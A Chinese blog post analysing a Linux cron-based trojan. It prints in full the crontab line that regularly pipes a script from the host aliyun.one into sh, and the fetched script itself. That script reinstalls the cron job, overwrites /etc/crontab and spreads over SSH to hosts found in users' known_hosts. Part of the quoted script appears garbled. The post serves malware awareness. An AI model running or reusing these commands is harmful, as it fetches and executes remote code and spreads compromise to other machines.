Linux 定时任务一句话木马

刚才在逛V2EX的时候发现了有人问到这个木马,现在我们来看一下。

木马内容

以下命令写入crontab

*/15 * * * * (curl -fsSL -m180 aliyun.one||wget -q -T180 -O- aliyun.one)|sh

aliyun.one 内容

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp chmod 1777 /tmp echo "*/10 * * * * (curl -fsSL -m180 aliyun.one||wget -q -T180 -O- aliyun.one||python -c 'import urllib;print urllib.urlopen("http://aliyun.one").read()')|sh"|crontab - cat > /etc/crontab </dev/null 2>&1 &" & done fi for file in /home/* do if test -d $file; then if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl -fsSL aliyun.one||wget -q -O- aliyun.one||python -c 'import urllib;print urllib.urlopen("http://aliyun.one").read()')|sh >/dev/null 2>&1 &" & done fi fi done # 

分析

在肉鸡里面执行crontab,这样的话如果用户里存在信任的主机,并且有密匙的话,这样就连信任的主机也会变成肉鸡了。

虽然现在看上去他只是定时去拉取了脚本,但是当他准备发动攻击,修改了脚本内容以后性质就不同了。

腾讯云限时秒杀【点击购买】

搬瓦工,CN2高速线路,1GB带宽,电信联通优化KVM,延迟低,速度快,建站稳定,搬瓦工BandwagonHost VPS优惠码BWH26FXH3HIQ,支持<支付宝> 【点击购买】!

Vultr$3.5日本节点,512M内存/500G流量/1G带宽,电信联通优化,延迟低,速度快【点击购买】!

阿里云香港、新加坡VPS/1核/1G/25G SSD/1T流量/30M带宽/年付¥288【点击购买】

Linux 定时任务一句话木马

`微信`扫码 加好友

链接到文章: https://gkxyz.com/linux-dingshirenwuyijuhuamuma.html

推荐站点

评论已关闭